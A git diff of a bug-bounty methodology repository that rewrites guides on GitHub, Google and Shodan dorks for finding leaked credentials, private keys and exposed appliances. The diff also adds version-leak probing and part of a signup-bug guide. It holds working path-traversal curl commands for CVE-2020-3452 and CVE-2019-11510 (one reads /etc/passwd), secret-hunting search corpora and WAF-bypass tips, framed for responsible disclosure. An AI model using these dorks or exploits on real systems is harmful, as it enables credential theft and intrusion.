Dorks for Finding Information using Dates -- created:<2012–04–05 -- created:>=2011–06–12 -- created:2016–02–07 location:iceland -- created:2011–04–06..2013–01–14 in:username - ------ - -**GitHub Dorks for Finding Information using Extension** - -- extension:pem private -- extension:ppk private -- extension:sql mysql dump -- extension:sql mysql dump password -- extension:json [api.forecast.io] (http://api.forecast.io/) -- extension:json [mongolab.com] (http://mongolab.com/) -- extension:yaml [mongolab.com] (http://mongolab.com/) -- [WFClient] Password= extension:ica -- extension:avastlic “[support.avast.com] (http://support.avast.com/)” -- extension:json googleusercontent client_secret +# GitHub Dorks — Curated Essentials + +A hand-picked set of GitHub code-search dorks that surface the highest-hit-rate leaks: credential/config files, API keys, tokens, private keys, and dumps. Start here; the exhaustive corpus (thousands of secret-keyword and regex patterns) lives in [Github_dorks_all.md](Github_dorks_all.md), which deliberately contains **only** what is not listed below — together the two files are the complete collection without duplication. + +**Why it matters / typical impact:** these dorks find working credentials — cloud keys, DB passwords, SSH keys, service tokens — which frequently yield direct account or infrastructure takeover. For the full hunting workflow see [Recon/Github_Dorking.md](../Recon/Github_Dorking.md) and [Github_Recon_Method.md](Github_Recon_Method.md). + +## Hunting Checklist + +1. Pick a target brand/product/org name and prefix the file/extension dorks below with `"org_name"` (patterns in [Recon/Github_Dorking.md](../Recon/Github_Dorking.md)). +2. Run the API-key/token keyword dorks scoped by `org:` and `user:` for employee accounts. +3. Check hit recency and whether the secret is still valid *safely* (read-only validation) before going further. +4. For automated sweeps, graduate to [Github_dorks_all.md](Github_dorks_all.md) + a runner tool (below). + +## Dork Lists + +### GitHub dorks for finding files + +``` +filename:manifest.xml +filename:travis.yml +filename:vim_settings.xml +filename:database +filename:prod.exs NOT prod.secret.exs +filename:prod.secret.exs +filename:.npmrc _auth +filename:.dockercfg auth +filename:WebServers.xml +filename:.bash_history +filename:sftp-config.json +filename:sftp.json path:.vscode +filename:secrets.yml password +filename:.esmtprc password +filename:passwd path:etc +filename:dbeaver-data-sources.xml +path:sites databases password +filename:config.php dbpasswd +filename:configuration.php JConfig password +filename:.sh_history +shodan_api_key language:python +filename:shadow path:etc +JEKYLL_GITHUB_TOKEN +filename:proftpdpasswd +filename:.pgpass +filename:idea14.key +filename:hub oauth_token +HEROKU_API_KEY language:json +HEROKU_API_KEY language:shell +SF_USERNAME salesforce +filename:.bash_profile aws +filename:.env MAIL_HOST=smtp.gmail.com +filename:wp-config.php +filename:credentials aws_access_key_id +filename:id_rsa or filename:id_dsa +``` + +### GitHub dorks for finding languages + +``` +language:python username +language:php username +language:sql username +language:html password +language:perl password +language:shell username +language:java api +HOMEBREW_GITHUB_API_TOKEN language:shell +``` + +### API keys, tokens & hard-coded passwords + +``` +api_key +SecretKey / Secrect_key / skey +privatekey / private_key / pkey +user_secret / userSecret +admin_passwd / adminpasswd / adminPass etc +"api keys" +authorization_bearer: +oauth +auth +authentication +client_secret +api_token: +"api token" +client_id +password +user_password +user_pass +passcode +secret +password hash +OTP +user auth +``` + +### Username & date qualifiers + +``` +user:name (user:admin) +org:name (org:google type:users) +in:login ( in:login) +in:name ( in:name) +fullname:firstname lastname (fullname: ) +in:email (data in:email) + +created:<2012-04-05 +created:>=2011-06-12 +created:2016-02-07 location:iceland +created:2011-04-06..2013-01-14 in:username +``` + +### Extension-based dorks + +``` +extension:pem private +extension:ppk private +extension:sql mysql dump +extension:sql mysql dump password +extension:json api.forecast.io +extension:json mongolab.com +extension:yaml mongolab.com +[WFClient] Password= extension:ica +extension:avastlic "support.avast.com" +extension:json googleusercontent client_secret +``` + +## Tools & Resources + +- [GitHub code search](https://github.com/search?q=&type=code) — run dorks manually (requires login for code search) +- [TruffleHog](https://github.com/dxa4481/truffleHog) — automated secret scanning of repos/history +- [gitGraber](https://github.com/hisxo/gitGraber), [GitGot](https://github.com/BishopFox/GitGot), [git-hound](https://github.com/tillson/git-hound) — org/employee-targeted dork runners +- [SecurityTrails GitHub dorks guide](https://securitytrails.com/blog/github-dorks) +- Exhaustive pattern corpus: [Github_dorks_all.md](Github_dorks_all.md) + +## Report Tips + +- Validate the secret minimally and read-only (e.g. identify the owning account/service); never pivot into third-party systems — many keys belong to vendors, not the program. +- Report the exact repo/blob/commit URL with timestamp and what the credential grants access to; that framing turns "info leak" into critical. +- Exclude anything under test/example directories — those are intended behavior, not bugs. diff --git a/Sensitive_Info_Leaks/Github_Recon_Method.md b/Sensitive_Info_Leaks/Github_Recon_Method.md index 26cf78ed..1bff35fc 100644 --- a/Sensitive_Info_Leaks/Github_Recon_Method.md +++ b/Sensitive_Info_Leaks/Github_Recon_Method.md @@ -1,19 +1,37 @@ -# Github Recon -Using Github we can find sensitive infos. +# GitHub Recon Method -## Steps: +GitHub is one of the highest-yield sources of sensitive information leaks: company names, employee accounts, and source-code references all lead back to repositories where secrets get committed. A structured method — org, people, then code references — finds leaks that random dorking misses. Typical impact: exposed tokens/API keys, internal service details, and build/deploy credentials usable for account or infrastructure takeover. -1. Check github with company name for API keys or passswords. -2. Enumerate the employees of the company from linkedin and twitter and check their repositories on github for sensitive information. -3. Check source code of main website and subdomains for github links in the html comments or anywhere. Search using ctl-F and search for keyword github +## Hunting Checklist -## Tools and references:: -* https://github.com/BishopFox/GitGot -* https://github.com/hisxo/gitGraber -* https://github.com/tillson/git-hound -* https://securitytrails.com/blog/github-dorks +1. **Search GitHub by company name** for API keys, passwords, tokens, and internal configs (org-scoped patterns in [Recon/Github_Dorking.md](../Recon/Github_Dorking.md)). +2. **Enumerate employees** from LinkedIn/Twitter (and repo contributor lists), then check their personal repositories and gists for sensitive information tied to the target. +3. **Mine the website itself** — check the source of the main site and subdomains for GitHub links in HTML comments or anywhere else; use Ctrl+F in view-source and search for the keyword `github`. +4. **Work the dork lists** — curated: [Github-dorks.md](Github-dorks.md); exhaustive automation corpus: [Github_dorks_all.md](Github_dorks_all.md). +5. **Validate safely & report** — read-only verification only, then follow the report tips below. -## Reports (Hackerone) +## Test Cases & Examples + +```bash +# Manual search entry points +# https://github.com/search?q=+password&type=code +# https://github.com/search?q=org%3A+filename%3A.env&type=code + +# Pull a page's HTML and hunt for github references (comments, source maps, JS bundles) +curl -sk https://target.com | grep -io 'github[^"]*' | sort -u +``` + +Dork corpora: run the patterns from [Github-dorks.md](Github-dorks.md) and [Github_dorks_all.md](Github_dorks_all.md) through GitHub search or one of the tools below. + +## Tools & Resources + +- [GitGot](https://github.com/BishopFox/GitGot) — search GitHub for orgs/repos and clone what it finds +- [gitGraber](https://github.com/hisxo/gitGraber) — GitHub dorking for organizations/employees +- [git-hound](https://github.com/tillson/git-hound) — targeted subdomain + GitHub info discovery +- [SecurityTrails: GitHub dorks guide](https://securitytrails.com/blog/github-dorks) +- Dork lists: [Github-dorks.md](Github-dorks.md) · [Github_dorks_all.md](Github_dorks_all.md) + +## Reports (HackerOne) ### Resolved @@ -24,6 +42,13 @@ Using Github we can find sensitive infos. - [Leaked artifactory_key, artifactory_api_key, and gcloud refresh_token via GitHub.](https://hackerone.com/reports/496414) - [Github Token Leaked publicly for https://github.sc-corp.net](https://hackerone.com/reports/396467) -## Author: -* [@0xCCFFF](https://twitter.com/0xCCFFF) (MadMaxx) -* [@klaus](https://twitter.com/klaus_dev) +## Report Tips + +- Show what the leaked credential actually grants access to (build systems, internal registries, cloud accounts) — that's the difference between informative and critical in the reports above. +- Include exact repo/blob URLs and timestamps; state that validation was read-only. +- Do **not** report secrets sitting in test/example directories or clearly fake placeholder values — intended behavior. + +## Author + +- [@0xCCFFF](https://twitter.com/0xCCFFF) (MadMaxx) +- [@klaus](https://twitter.com/klaus_dev) diff --git a/Sensitive_Info_Leaks/Github_dorks_all.md b/Sensitive_Info_Leaks/Github_dorks_all.md index bd203132..45b9e70b 100644 --- a/Sensitive_Info_Leaks/Github_dorks_all.md +++ b/Sensitive_Info_Leaks/Github_dorks_all.md @@ -1,4 +1,33 @@ +# GitHub Dorks — Exhaustive Reference + +The complete GitHub leak-hunting corpus: ~1,500 secret variable names, literal strings, key prefixes, and regex patterns (the classic `encrypted_*` / CI-token keyword corpus), plus long-tail `filename:`/`extension:` dorks. Use it as the pattern list for automated sweeps when the curated essentials in [Github-dorks.md](Github-dorks.md) run dry. + +**De-duplication note:** the two files are complementary — every dork that appears in [Github-dorks.md](Github-dorks.md) (curated essentials) has been removed from this file, and vice versa. Together they form the full collection exactly once each. + +**Why it matters / typical impact:** these patterns map to committed secrets — cloud keys, SSH/PGP private keys, registry passwords, database dumps, service tokens — i.e. direct credential compromise and account/infrastructure takeover. Workflow: [Recon/Github_Dorking.md](../Recon/Github_Dorking.md). + +## Quick Start + +```bash +# Save the corpus below to patterns.txt, then grep a cloned repo with it: +while IFS= read -r pat; do + [ -n "$pat" ] && grep -RniE -- "$pat" ./clone-target/ 2>/dev/null +done < patterns.txt + +# Or drive GitHub code search per pattern (authenticated, heavily rate-limited): +while IFS= read -r pat; do + q=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$pat") + curl -s -H "Authorization: token $GITHUB_TOKEN" \ + "https://api.github.com/search/code?q=$q" | jq -r '.total_count' + sleep 2 +done < patterns.txt ``` + +Entries ending in `=` are secret *variable-name* patterns (env vars, CI config keys); bracketed ones like `AKIA[0-9A-Z]{16}` or the `xox*` Slack-token regex are value-shape patterns — both work with `grep -E` / TruffleHog-style matching. + +## Corpus: Secret Keywords, Literals & Regex Patterns + +```text #= #N= &key= @@ -1571,88 +1600,92 @@ ZZiigPX7RCjq5XHbzUpPpMbC8MFxT2K3jcFXUitfwZvNaZXJIiK3ZQJU4ayKaegLvI91x1SqH0= \?id= _02ddd67d5586_key= _8382f1c42598_iv= -filename:.npmrc _auth -filename:.dockercfg auth -extension:pem private -extension:ppk private -filename:id_rsa or filename:id_dsa -extension:sql mysql dump -extension:sql mysql dump password -filename:credentials aws_access_key_id +``` + + +## Long-Tail filename/extension Dorks + +Not present in [Github-dorks.md](Github-dorks.md) — run these too, ideally scoped to the target org (see [Recon/Github_Dorking.md](../Recon/Github_Dorking.md) for the `"org_name" ` template). + +### Config & credential files + +``` filename:.s3cfg -filename:wp-config.php filename:.htpasswd filename:.env DB_USERNAME NOT homestead -filename:.env MAIL_HOST=smtp.gmail.com filename:.git-credentials -PT_TOKEN language:bash -filename:.bashrc password -filename:.bashrc mailchimp -filename:.bash_profile aws -rds.amazonaws.com password -extension:json api.forecast.io -extension:json mongolab.com -extension:yaml mongolab.com -jsforce extension:js conn.login -SF_USERNAME salesforce -filename:.tugboat NOT _tugboat -HEROKU_API_KEY language:shell -HEROKU_API_KEY language:json filename:.netrc password filename:_netrc password -filename:hub oauth_token +filename:config.json auths +filename:connections.xml +filename:express.conf path:.openshift filename:robomongo.json filename:filezilla.xml Pass filename:recentservers.xml Pass -filename:config.json auths -filename:idea14.key +filename:logins.json +filename:deployment-config.json +filename:.ftpconfig +filename:.remote-sync.json filename:config irc_pass -filename:connections.xml -filename:express.conf path:.openshift -filename:.pgpass -filename:proftpdpasswd -filename:ventrilo_srv.ini -[WFClient] Password= extension:ica -filename:server.cfg rcon password -JEKYLL_GITHUB_TOKEN +filename:settings.py SECRET_KEY +filename:master.key path:config +filename:CCCam.cfg +msg nickserv identify filename:config +filename:config.php pass +``` + +### Shell & history files + +``` filename:.bash_history filename:.cshrc filename:.history -filename:.sh_history +filename:.bashrc password +filename:.bashrc mailchimp +``` + +### Server / service configs + +``` filename:sshd_config filename:dhcpd.conf -filename:prod.exs NOT prod.secret.exs -filename:prod.secret.exs -filename:configuration.php JConfig password -filename:config.php dbpasswd -filename:config.php pass -path:sites databases password -shodan_api_key language:python +filename:server.cfg rcon password +filename:ventrilo_srv.ini +filename:.tugboat NOT _tugboat +``` + +### Service-specific tokens + +``` +PT_TOKEN language:bash +rds.amazonaws.com password +jsforce extension:js conn.login shodan_api_key language:shell shodan_api_key language:json shodan_api_key language:ruby -filename:shadow path:etc -filename:passwd path:etc -extension:avastlic "support.avast.com" -filename:dbeaver-data-sources.xml -filename:sftp-config.json -filename:.esmtprc password -extension:json googleusercontent client_secret -HOMEBREW_GITHUB_API_TOKEN language:shell xoxp OR xoxb .mlab.com password -filename:logins.json -filename:CCCam.cfg -msg nickserv identify filename:config -filename:settings.py SECRET_KEY -filename:secrets.yml password -filename:master.key path:config -filename:deployment-config.json -filename:.ftpconfig -filename:.remote-sync.json -filename:sftp.json path:.vscode -filename:WebServers.xml ``` -## Author: +## Bypass Techniques + +- **Code search requires auth & throttles hard:** spread queries over time, use the API with a token, or let a tool (below) handle pagination — do not hammer the web UI. +- **Edited secrets survive in commit history and forks:** web search only sees the latest blob; run history-aware scanners (TruffleHog) on interesting repos instead of trusting search alone. +- **Gists are missed by default searches:** check candidate users' gists explicitly. +- **Exclude noise** with `NOT`/`-` terms (e.g. `filename:.env DB_USERNAME NOT homestead`, `filename:prod.exs NOT prod.secret.exs`) to keep results reviewable. + +## Tools & Resources + +- [TruffleHog](https://github.com/dxa4481/truffleHog) — history/entropy-based secret scanning +- [GitGot](https://github.com/BishopFox/GitGot), [gitGraber](https://github.com/hisxo/gitGraber), [git-hound](https://github.com/tillson/git-hound) — org/employee-targeted dork runners that accept pattern lists +- Curated essentials: [Github-dorks.md](Github-dorks.md) · Workflow & reports: [Github_Recon_Method.md](Github_Recon_Method.md) · Search templates: [Recon/Github_Dorking.md](../Recon/Github_Dorking.md) + +## Report Tips + +- This corpus produces many false positives (placeholder values, docs, tests) — validate a finding is live and belongs to the program before reporting. +- State exactly which pattern matched and where (repo/blob/commit URL + timestamp); triage can reproduce in seconds. +- Never use a found credential beyond minimal read-only validation; exfiltration or lateral movement is out of scope and unsporting. + +## Author + [@manasH4rsh](https://twitter.com/manasH4rsh) diff --git a/Sensitive_Info_Leaks/Google_Dorks.md b/Sensitive_Info_Leaks/Google_Dorks.md index 8270d223..a8986a8d 100644 --- a/Sensitive_Info_Leaks/Google_Dorks.md +++ b/Sensitive_Info_Leaks/Google_Dorks.md @@ -1,26 +1,51 @@ -### Google Dorks to find Juicy Content +# Google Dorks — Juicy Content via Search Engines -`inurl:example.com intitle:"index of"`
-`inurl:example.com intitle:"index of /" "*key.pem"`
-`inurl:example.com ext:log`
-`inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv`
-`inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git`
-`inurl:example.com intitle:"index of" "config.db"`
-`inurl:example.com allintext:"API_SECRET*" ext:env | ext:yml`
-`inurl:example.com intext:admin ext:sql inurl:admin`
-`inurl:example.com allintext:username,password filetype:log`
-`site:example.com "-----BEGIN RSA PRIVATE KEY-----" inurl:id_rsa`
-`site:*.gov.* "responsible disclosure"`
+Search engines index things nobody meant to expose: directory listings, log files, `.env` configs, SQL dumps, and even password-reset tokens. Google dorks turn `site:`/`inurl:`/`intitle:` operators into a passive scanner for sensitive content. Typical impact: credential/PII disclosure and exposed admin content — and what Google indexes, it cached, so removal takes real effort. -![t](https://miro.medium.com/max/550/1*N9W6DfGA6wxgKTiywV9aUA.png)
+## Hunting Checklist +1. **Enumerate in-scope domains** first (see [Recon workflow](../Recon/Workflow.md)) — dorks are per-domain. +2. **Run the dork list below** for each domain, swapping `example.com`. +3. **Rotate search engines** — besides Google, try these dorks on DuckDuckGo, Bing, Yandex, etc. (indexing differs; one engine's hit is another's miss, and Google may block automated queries). +4. **Check cached/archived copies** — if the live page is gone, Google cache or the Wayback Machine may still prove exposure. +5. **Assess what's actually leaked** (credentials? PII? tokens?) before reporting, and don't redistribute third-party data found in listings. -[Refrence](https://blog.usejournal.com/how-recon-helped-samsung-protect-their-production-repositories-of-samsungtv-ecommerce-estores-4c51d6ec4fdd) +## Dork List +``` +inurl:example.com intitle:"index of" +inurl:example.com intitle:"index of /" "*key.pem" +inurl:example.com ext:log +inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv +inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git +inurl:example.com intitle:"index of" "config.db" +inurl:example.com allintext:"API_SECRET*" ext:env | ext:yml +inurl:example.com intext:admin ext:sql inurl:admin +inurl:example.com allintext:username,password filetype:log +site:example.com "-----BEGIN RSA PRIVATE KEY-----" inurl:id_rsa +site:*.gov.* "responsible disclosure" +``` -#### Other than Google, Try these dorks on various Search Engines such as Duck Duck Go, Bing etc. +![t](https://miro.medium.com/max/550/1*N9W6DfGA6wxgKTiywV9aUA.png) -## Reports (Hackerone) +Reference: [How recon helped Samsung protect their production repositories](https://blog.usejournal.com/how-recon-helped-samsung-protect-their-production-repositories-of-samsungtv-ecommerce-estores-4c51d6ec4fdd) + +#### Other than Google, try these dorks on various search engines such as DuckDuckGo, Bing, etc. + +## Bypass Techniques + +- **Google rate-limits/CAPTCHAs fast scripted queries:** lower your query rate, or use Bing/DuckDuckGo/Yandex for the same operators (`site:`, `inurl:`, `intitle:` work nearly everywhere). +- **Page removed but still sensitive?** Chase the evidence via cache and web.archive.org snapshots. +- **Indexing side-effects worth knowing for impact:** token-bearing URLs (e.g. password-reset links) can be indexed through `X-Robots-Tag`-less responses, referrer leakage, and crawlers following links from exposed pages — this is why reset-token reports below are accepted. + +## Tools & Resources + +- [Google Hacking Database (ExploitDB)](https://www.exploit-db.com/google-hacking-database) — largest public dork collection for more inspiration +- Multi-engine query runners (any dork-search CLI that supports `site:`/`inurl:` operators on Bing/DuckDuckGo/Yandex) +- [Wayback Machine](https://web.archive.org) / Google cache — historical proof +- Related: [Shodan CVE dorks](Shodan_cve_dorks.md), [GitHub dorks](Github-dorks.md) + +## Reports (HackerOne) ### Resolved @@ -35,9 +60,15 @@ - [Research papers on yelp are getting indexed by google bots.](https://hackerone.com/reports/207435) +## Report Tips + +- Show the *sensitive thing* indexed (token, credentials, private content), not just that a page exists in search results — that's what separated the resolved reports from the informative/N/A ones above. +- Include the dork used and the exact indexed URL + timestamp so triage can reproduce. +- Recommend the fix in report terms: `noindex`/`X-Robots-Tag`, robots + auth on directories, and purging cached URLs. + +## Author -Author -- [Keshav Malik](twitter.com/g0t_rOoT_)
-- [Naveen Prakaasham](twitter.com/NPrakaasham)
+- [Keshav Malik](https://twitter.com/g0t_rOoT_) +- [Naveen Prakaasham](https://twitter.com/NPrakaasham) - [@klaus](https://twitter.com/klaus_dev) - [Fani Malik](https://twitter.com/fanimalikhack) diff --git a/Sensitive_Info_Leaks/README.md b/Sensitive_Info_Leaks/README.md new file mode 100644 index 00000000..74ebae12 --- /dev/null +++ b/Sensitive_Info_Leaks/README.md @@ -0,0 +1,19 @@ +# Sensitive Information Leaks + +Guides for finding exposed secrets, keys, PII, and internal data - the highest-ROI class of GitHub/search-engine recon. + +## Guides + +* [GitHub Dorks - Curated Essentials](Github-dorks.md) +* [GitHub Dorks - Full Reference List](Github_dorks_all.md) +* [GitHub Recon Method](Github_Recon_Method.md) +* [Google Dorks](Google_Dorks.md) +* [Shodan CVE Dorks](Shodan_cve_dorks.md) +* [Version Leaks](Version_Leak.md) + +## Related + +* [Finding Origin IP](../FindOriginIP/FindOrigin.md) +* [EXIF Geo Data Not Stripped](../EXIF_Geo_Data_Not_Stripped/exif_geo.md) +* [Easy CVE Hunting](../CVES/easycve.md) +* [S3 Bucket Misconfigurations](../Misconfigurations/S3-Bucket_Misconfig.md) diff --git a/Sensitive_Info_Leaks/Shodan_cve_dorks.md b/Sensitive_Info_Leaks/Shodan_cve_dorks.md index c9ff79b8..bc0d9349 100644 --- a/Sensitive_Info_Leaks/Shodan_cve_dorks.md +++ b/Sensitive_Info_Leaks/Shodan_cve_dorks.md @@ -1,23 +1,61 @@ -## CVE's Shodan Dorks. +# Shodan Dorks for Known CVEs -* Big IP shodan Search:- +Shodan indexes banners of internet-exposed devices, so a targeted dork can fingerprint vulnerable appliances at scale — VPN concentrators, admin UIs, load balancers — often before their owners even know they're public. For bug bounty, this finds forgotten/exposed infrastructure of the target that port-scanning the main app never touches. Typical impact: known-CVE exposure of VPNs and management panels, i.e. pre-auth network-level compromise. -`http.title:"BIG-IP®-Redirect" org:Org` +## Hunting Checklist -* CVE 2020-3452 - -` http.html_hash:-628873716 -“set-cookie: webvpn;”` +1. **Fingerprint the target's external estate** first — org ASN/IP ranges and domains via [Recon workflow](../Recon/Workflow.md); Shodan queries alone give you *devices*, you must tie them to *the target*. +2. **Run each dork below** (and Shodan's own CVE/tag searches) looking for matching banners. +3. **Filter results to the target**: `org:""`, `hostname:.target.com`, or match against your IP list — never test devices that merely look similar. +4. **Confirm the version** from the banner to check the CVE plausibility before probing. +5. **Validate the CVE with a single safe check** (see bypass section), then report — do not exploit. -* CVE CVE-2019-11510 +## Dorks & Examples -`http.html:/dana-na/` +```bash +# F5 BIG-IP redirector UI +shodan search 'http.title:"BIG-IP®-Redirect" org:Org' -* CVE-2020–5902 - - ```inurl:/tmui/login.jsp``` +# CVE-2020-3452 — Cisco ASA path traversal (by page hash + cookie) +shodan search 'http.html_hash:-628873716 "set-cookie: webvpn;"' +# CVE-2019-11510 — Pulse Connect Secure arbitrary file read +shodan search 'http.html:/dana-na/' + +# CVE-2020-5902 — F5 BIG-IP TMUI RCE +shodan search 'http.html:"/tmui/login.jsp"' +``` + +Safe (read-only) verification examples for the above devices: + +```bash +# CVE-2020-3452 — read-only file fetch through the traversal; do NOT write/modify anything +curl -sk 'https://TARGET/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&path=/bin/ping6' | head -c 200 + +# CVE-2019-11510 — non-destructive known-file read +curl -sk 'https://TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/' +``` + +## Bypass Techniques + +- **Banner tricks / CDN in front:** filter by TLS cert SAN or `ssl:` fields rather than IP when the device sits behind a proxy. +- **Device patched but banner stale:** verify with the harmless read endpoint above instead of trusting version strings. +- **Shodan data is historical** — always re-check liveness yourself before reporting; add `before:`/`after:` filters or re-scan. + +## Tools & Resources + +- [Shodan CLI](https://github.com/shodan/shodan-cli) and https://www.shodan.io — search, filters (`org:`, `hostname:`, `http.html:`, `http.title:`, `http.html_hash:`) +- [Censys](https://censys.io) — second indexing source, better cert search +- Nuclei templates for the corresponding vulnerable products: https://github.com/projectdiscovery/nuclei-templates +- Related: [Easy CVEs workflow](../CVES/easycve.md), [Version leak](Version_Leak.md) + +## Report Tips + +- Prove **ownership** before reporting an exposed appliance: show cert/hostname/ASN evidence tying the IP to the program — this is the #1 triage blocker for Shodan findings. +- State the CVE, the banner evidence (Shodan result + your own re-verification screenshot), and the risk (VPN/management plane exposure = unauthenticated network access), without exploiting it. +- If the device is not in scope or third-party hosted, disclose responsibly through the right channel instead of testing. + +## Author -## Author: - [@manasH4rsh](https://twitter.com/manasH4rsh) - [Fani Malik](https://twitter.com/FaniMalikHack) diff --git a/Sensitive_Info_Leaks/Version_Leak.md b/Sensitive_Info_Leaks/Version_Leak.md index cd62dee8..8c1f758f 100644 --- a/Sensitive_Info_Leaks/Version_Leak.md +++ b/Sensitive_Info_Leaks/Version_Leak.md @@ -1,12 +1,62 @@ -# Version Leak +# Version Leak (Server / Path Disclosure) +Version leaks expose the exact software (and its version) serving a site via error pages, `Server:` headers, and referenced asset paths — which lets an attacker map to known CVEs instantly. Small to fix, but it's a real information-disclosure finding and a force multiplier for further testing. + +## Hunting Checklist + +1. Fingerprint the obvious places first: HTTP response headers and HTML/JS/CSS references (source maps, asset paths often embed absolute server paths). +2. Walk the directories you can see referenced and note which return 403 vs 404 vs 200. +3. Trigger error pages with malformed path segments (`%00`, `%0a`, `%2e`, random junk after a valid path). +4. Compare the error/403 pages for server banners (name + version). +5. Check common verbose endpoints if the stack suggests them (`/server-status`, `/server-info`, phpinfo). +6. Map any discovered version to known CVEs (see [Easy CVEs](../CVES/easycve.md)) and report. + +## Test Cases & Examples + +Original manual method: + +1. Go to the target, e.g. `https://redacted.com`. +2. Open **View Page Source**. +3. Check for paths and directories referenced in the HTML (CSS/JS/img URLs). +4. Follow one, e.g. `https://redacted.com/theme/css/file.css`. +5. Try to visit each parent directory and note whether it's accessible (a **403** means the directory exists). +6. Add special bytes such as `%0`, `%m`, `%2e` — e.g. `https://redacted.com/%0theme` — and check the response: error pages often show the running server name and version information. +7. Also inspect CSS file URLs — they sometimes contain server paths. + +Commands: + +```bash +# Header/banner fingerprinting +curl -sI https://example.com + +# Malformed segment tricks that can trigger version-disclosing error pages +curl -sk 'https://example.com/%00' +curl -sk 'https://example.com/%0a' +curl -sk 'https://example.com/%2e' +curl -sk 'https://example.com/random/%3f.jsp' + +# Verbose status pages (only if enabled by misconfiguration) +curl -sk https://example.com/server-status +curl -sk https://example.com/server-info + +# Watch asset paths for embedded absolute paths +curl -s https://example.com | grep -oE '(src|href)="[^"]*"' | grep -v '^.*="http' ``` -step1. go to the target says- https://redacted.com -step2. open view page source -step3. check for path, directories -step4. go that path says- https://redacted.com/theme/css/file.css -step5. try to visit all directories and check it is accessible or not. -step5. if it is give 403 -step6. add %0, %m, %2e, says- https://redacted.com/%0theme and then check the response, it will show the running server name, and version information. -``` -- And check for also css path url, sometime it contain some path. + +## Bypass Techniques + +- **403s from a WAF vs the origin:** repeat requests through an origin IP (see [Finding Origin IP](../FindOriginIP/FindOrigin.md)) — the origin's error page leaks the real version. +- If `%00` is filtered, alternate encodings/malformed bytes (`%0a`, `%2e`, overlong UTF-8) can still reach the server's error handler — test each, filtering is usually incomplete. +- Custom error pages may hide the banner, but path disclosure can still appear in **stack traces** triggered by odd parameters (`?`, `]`, quotes). + +## Tools & Resources + +- `curl -I` / browser DevTools Network tab — headers +- [WhatWeb](https://github.com/urbanadventurer/WhatWeb) — version fingerprinting from markup/headers +- [httpx](https://github.com/projectdiscovery/httpx) `-td` tech detect; banner grabbing with `nmap -sV` / `masscan` +- Related: [CVES/easycve.md](../CVES/easycve.md), [FindOriginIP](../FindOriginIP/FindOrigin.md) + +## Report Tips + +- Version leaks alone are usually informative/low unless you **tie the exact version to publicly known CVEs or an exposed status page** — include that chain in the report. +- Provide the request that triggered the disclosure and the full leaking response; recommend suppressing `Server` tokens and custom error pages. diff --git a/Sign_Up_Functionality/Hunting_for_bugs_in_signup_feature.md b/Sign_Up_Functionality/Hunting_for_bugs_in_signup_feature.md index b3d6205e..ad537e80 100644 --- a/Sign_Up_Functionality/Hunting_for_bugs_in_signup_feature.md +++ b/Sign_Up_Functionality/Hunting_for_bugs_in_signup_feature.md @@ -1,119 +1,116 @@ -### Implementing the Sign Up Feature: - -We will take the example of a School Website(**school.org**) to learn the implementation of Sign Up Feature: -In this Example, The Students need to register to **school.org** for accessing their Academic educational resource. Users of **school.org** must have the ability to register as a member thus gaining access to the content of the site. - -So, The Signup process can be implemented by school in two ways: - -1. **Manual Signup** — Registration based on user providing a series of specific user information. It usually includes form like name, email, password, confirm password, etc. as shown in image below. - - -2. **Social Signup** **/OAuth**— Registration via an integrated social media source via social media platform like _Facebook_, _Twitter_, or _Google_, the user can sign into a third party website instead of creating a new account specifically for that website. - -In this Blog I will be talking about Bugs in Manual Sign up. Lets have Social Signup/ OAuth for our next blog topic. - -### Exploiting Signup Feature: - -#### 1\. Duplicate registration / Overwrite existing user. - -Duplicate registration is when an application allows us to register or sign up with the same email address, username or phone number. It can have critical consequences based on what kind of attack is performed. - -**_Steps to reproduce:_** - -1) Create first account in application with email say [abc@gmail.com](mailto:abc@gmail.com) and password. -2) Logout of the account and create another account with same email and different password. -3) You can even try to change email case in some case like from [abc@gmail.com](mailto:abc@gmail.com) to [Abc@gmail.com](mailto:Abc@gmail.com) -4) Finish the creation process — and see that it succeeds -5) Now go back and try to login with email and the new password. You are successfully logged in. - -> **Further Read** -> [https://hackerone.com/reports/187714](https://hackerone.com/reports/187714) -> [https://shahjerry33.medium.com/duplicate-registration-the-twinning-twins-883dfee59eaf](https://shahjerry33.medium.com/duplicate-registration-the-twinning-twins-883dfee59eaf) -> [https://blog.securitybreached.org/2020/01/22/user-account-takeover-via-signup-feature-bug-bounty-poc/](https://blog.securitybreached.org/2020/01/22/user-account-takeover-via-signup-feature-bug-bounty-poc/) - -#### 2\. DOS at Name/Password field in Signup Page. - -By sending a very long string (100000 characters) it’s possible to cause a denial a service attack on the server. This may lead to the website becoming unavailable or unresponsive. Usually this problem is caused by a vulnerable string hashing implementation. When a long string is sent, the string hashing process will result in CPU and memory exhaustion. - -**_Steps to reproduce:_** - -1) Go Sign up form. -2) Fill the form and enter a long string in password -3) Click on enter and you’ll get 500 Internal Server error if it is vulnerable. - -> Further Read -> [https://shahjerry33.medium.com/long-string-dos-6ba8ceab3aa0](https://shahjerry33.medium.com/long-string-dos-6ba8ceab3aa0) -> [https://hackerone.com/reports/738569](https://hackerone.com/reports/738569) -> [https://hackerone.com/reports/223854](https://hackerone.com/reports/223854) - -#### 3\. Cross-Site Scripting (XSS) in username, account name for registration. - -**Cross-site Scripting** (**XSS**) is a security vulnerability usually found in websites and/or web applications that accept user input. This injects the malicious code into the targeted website’s content, making it a part of the website and thus allowing it to affect victims who may visit or view that website. - -Now, for testing Signup page for XSS we can simply insert XSS payoad in fields like: username, email, password,etc. - -Payload for Username field : **** -Payload for Email field : **“>”@x.y** - -> Further Read -> [https://hackerone.com/reports/196989](https://hackerone.com/reports/196989) -> [https://hackerone.com/reports/470206](https://hackerone.com/reports/470206) -> [https://hackerone.com/reports/119090](https://hackerone.com/reports/119090) - -#### 4\. No Rate Limit at Signup Page. - -A **rate limiting** algorithm is used to check if the user session (or IP address) has to be **limited** based on the information in the session cache. Testing for Rate limit at Signup page is quite a good idea. - -The Impact can be explained very well. If there is no rate limiting on signup page a malicious users can generate hundreds and thousands of fake accounts that lead to fill the application DataBase with fake accounts, Which can impact the business in many ways. - -You can easily test for it with Burp Intruder. 